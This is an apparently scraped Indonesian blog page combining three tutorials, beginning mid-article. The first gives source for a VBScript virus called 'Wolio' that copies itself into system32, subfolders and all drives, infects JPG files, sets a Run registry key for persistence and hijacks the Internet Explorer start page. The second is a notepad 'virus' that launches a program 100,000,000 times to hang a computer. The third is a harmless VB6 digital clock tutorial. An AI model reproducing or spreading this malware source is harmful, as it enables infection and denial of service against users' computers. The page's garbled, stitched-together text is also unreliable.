filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()


Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
Jangan lupa untuk sharing kepada yang lain ya
TQ for: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m
:)

Membuat virus denga notepad

Membuat virus dengan notepad.

Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.
Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali.

Let`s Begin!

langkah-langkah:

1. buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next

untuk mendownload scipt, klik disini

3. Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.

Membuat Jam Digital dengan Microsoft Visual Basic 6.0

Pada Artikel sebelumnya saya telah menuliskan cara untuk membuat Jam Analog dengan Visual Basic. Kali ini kita akan membuat sebuah jam digital menggunakan visual basic 6.0. Untuk membuatnya tentu sangat mudah berbeda dengan membuat jam analog sebelumnya yang sedikit rumit. Karena kita hanya akan menggunakan beberapa kontrol dan script yang pendek untuk membuat jam digital ini.
    Adapun langkah-langkah atau cara-cara membuatnya adalah sebagai berikut:
>>Buka program Visual Basic Anda (Disini selalu saya yakin jika anda telah menginstal program visual basic dikomputer anda dan anda sudah memiliki basic untuk menggunakannya).
>>Pada Form Anda Tambahkan sebuah kontrol label dan juga sebuah kontrol timer seperti gambar.1

Gambar.1 Form Lay Out

>>ubah propertisnya menjadi
Name    : Jam untuk label dan tmrjam untuk timer
Pada interval timer beri nilai selain nol misal 1000

>>selanjutnya klik dua kali kontrol timer atau buka jendela code dan ketikan listing berikut

Private Sub tmrjam_Timer()
Jam.Caption = Time
End Sub

>>Dan jalankan program yang anda buat. Hasilnya seperti ini
Gambar.2 Program yang telah jadi

Sedikit penjelasan:Listing program yang kita tulis " Jam.Caption = Time" akan mengambil waktu dari sistem sehingga waktu yang akan ditampilkan di Form adalah waktu dari sistem yang kita set dari komputer kita masing-masing.